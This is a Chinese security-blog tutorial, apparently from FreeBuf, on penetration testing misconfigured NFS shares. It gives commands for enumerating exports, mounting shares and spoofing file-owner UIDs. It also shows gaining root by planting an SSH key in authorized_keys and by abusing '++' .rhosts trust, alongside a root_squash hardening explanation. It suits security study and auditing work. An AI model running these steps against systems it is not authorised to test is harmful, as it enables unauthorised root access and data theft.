nfs
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
针对NFS的渗透测试 secist2018-01-12共506123人围观 ,发现 4 个不明物体 网络安全
NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用。
发现NFS服务
NFS服务的默认开放端口为2049/TCP,因此我们可以借助Nmap来针对性的进行探测。
2049/tcp open nfs 2-4 (RPC #100003)
针对NFS的渗透测试
此外,我们也可以通过rpcinfo命令来确定主机上是否运行或挂载了NFS服务。
rpcinfo -p IP
针对NFS的渗透测试
显示导出文件夹列表
以下命令将会检索给定主机的导出文件夹列表,这些信息将被用于访问这些文件夹。
showmount -e IP
针对NFS的渗透测试
当showmount命令与以下参数一起使用时,可以为我们检索到更多的信息,例如:
挂载点
连接的主机
目录
showmount IP // 连接的主机
showmount -d IP // 目录
showmount -a IP // 挂载点
针对NFS的渗透测试
另外,Metasploit框架中也有一个模块,可以用来列出导出文件夹。
auxiliary/scanner/nfs/nfsmount
针对NFS的渗透测试
在这里我再推荐一个实用的小工具NFS Shell,它可以连接到NFS共享并可以帮助我们手动识别一些常见的安全问题。想要使用它我们首先需要安装以下依赖项:
apt-get install libreadline-dev libncurses5-dev
make
gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses
./nfsshell
使用以下命令获取导出文件夹列表:
nfs> host IP // 连接NFS服务
nfs> export // 导出NFS列表
针对NFS的渗透测试
访问NFS共享
导出的文件夹可以通过创建一个空的本地文件夹,并将共享挂载到该文件夹来访问,如下所示:
mkdir /temp/
mount -t nfs 192.168.1.172:/ /temp -o nolock
针对NFS的渗透测试
当成功验证共享挂载后,我们可以通过以下命令来列出所有的本地磁盘信息。
df -h
针对NFS的渗透测试
此时,我们可以像访问其他文件夹一样轻松的访问共享文件夹。
cd /temp/
ls
针对NFS的渗透测试
UID操作
如果对于共享上的文件我们没有读取权限该怎么办?其实这也很简单,我们可以伪造文件所有者的UID来欺骗NFS服务器。以下展示的是NFS文件访问拒绝提示:
针对NFS的渗透测试
首先,我们通过以下命令来获取文件所有者的UID(用户ID)和GUID(组ID)。
ls -al
针对NFS的渗透测试
接着,我们在本地创建一个新用户,并将该用户的UID和名称修改为与文件所有者相同。
useradd
passwd
UID可以在passwd文件中更改。
vi /etc/passwd
针对NFS的渗透测试
从挂载的文件夹执行su命令,并使用之前创建的已知密码,此时当前用户将会被切换到新用户。
su
针对NFS的渗透测试
由于该文件的UID与新用户的UID相同,因此系统会误认为这是文件权限的所有者,这样我们就可以以一个合法的用户身份来读取文件的内容了。
之所以造成这种问题,原因在于导出文件夹并未设置root_squash选项。root_squash登入NFS主机,使用该共享目录时相当于该目录的拥有者。但是如果是以root身份使用这个共享目录的时候,那么这个使用者(root)的权限将被压缩成为匿名使用者,即通常他的UID与GID都会变成nobody那个身份,以防止越权访问。
可以在以下位置启用或禁用root_squash选项:
vi /etc/exports
/home 192.168.1.47(root_squash) // Enables Root Squash
/home 192.168.1.47(no_root_squash) // Disables Root Squash
如果passwd文件具有写入权限,那么我们可以通过将一些非特权用户的UID更改为0,使其具有根级别的访问权限。从下图中可以看到,我将service用户的UID修改为了0,此时该用户将具备root的访问权限。
针对NFS的渗透测试
通过SSH连接命令再次与目标服务器建立连接,service将获取到一个root访问权限。
针对NFS的渗透测试
shell访问
根据存储在导出文件夹中的文件,可能可以通过SSH或RSH和Rlogin来获取到shell访问权限。 我们着重来关注以下两个文件:
authorized_keys
rhosts
这两个文件都隐藏在NFS文件夹中,我们可以利用以下命令来确定这些文件的存在。
ls -al
针对NFS的渗透测试
生成一个SSH密钥对并将其公钥添加到授权密钥列表中,那样我们就可以通过NFS服务器上的SSH与其建立连接了。
cd /root/.ssh/
ssh-keygen -t rsa -b 4096
cp /root/.ssh/id_rsa.pub /temp/root/.ssh/
cat id_rsa.pub >> /temp/root/.ssh/authorized_keys
ssh -i /root/.ssh/id_rsa root@192.168.1.189
针对NFS的渗透测试
针对NFS的渗透测试
.rhosts文件用来配置哪些远程主机或用户可以访问系统上的本地帐户。如果.rhosts文件的内容为++符号,则说明它允许来自网络上的任何主机和用户的连接。
cat .rhosts
++
针对NFS的渗透测试
以下命令将允许系统的root用户直接连接目标系统,系统将不会提示密码输入,因为来自系统的所有用户都将被信任。
rsh -l root IP
rlogin -l root IP
针对NFS的渗透测试
针对NFS的渗透测试
或者如果.rhosts的内容不同,则检查文件将有助于确定哪些主机和用户是可信的,因此可以在无需密码的情况下进行身份验证。
*参考来源:pentestacademy,FB小编 secist 编译,转载请注明来自FreeBuf.COM
secist
secist
317 篇文章
等级: 9级
||
上一篇:ProxyChains实现自动添加代理逃避检测下一篇:中国网络安全人才之“怪现状”
这些评论亮了
sheyusec (1级)回复
首先得烧多大高香,才遇到管理员共享 / 而且还* allow所有ip挂载。
)8(亮了
发表评论已有 4 条评论
sheyusec (1级) 2018-01-12回复 1楼
首先得烧多大高香,才遇到管理员共享 / 而且还* allow所有ip挂载。
亮了(8)
yiran4827 (5级) 姿势可以不猥琐,人一定要猥琐 2018-10-08回复
@ sheyusec 在运营商内部做渗透测试,遇到过很多allow所有ip挂载,问管理员他们自己都不知道有这些资产
亮了(0)
null 2018-01-13回复 2楼
利用NFS提权的可以参考: https://bbs.pediy.com/thread-222518.htm
亮了(0)
死宅10086 (7级) 2018-01-14回复 3楼
好家伙
亮了(0)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
secist
secist
每个人的心中都有一个梦。。
317
文章数
60
评论数
最近文章
如何使用Metasploit进行汽车安全性测试?
2018.11.22
如何在PowerShell CLM模式下枚举域信息?
2018.11.19
SniffAir:无线渗透测试框架
2018.11.17
浏览更多
相关阅读
渗透实验故事:从CSV到CMD到qwerty安卓手机搭建渗透环境(无需Root)Metasploit的简单木马免杀技术及后渗透面临的问题SqlMap 1.2.7.20 Tamper详解及使用指南GyoiThon:基于机器学习的渗透测试工具
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论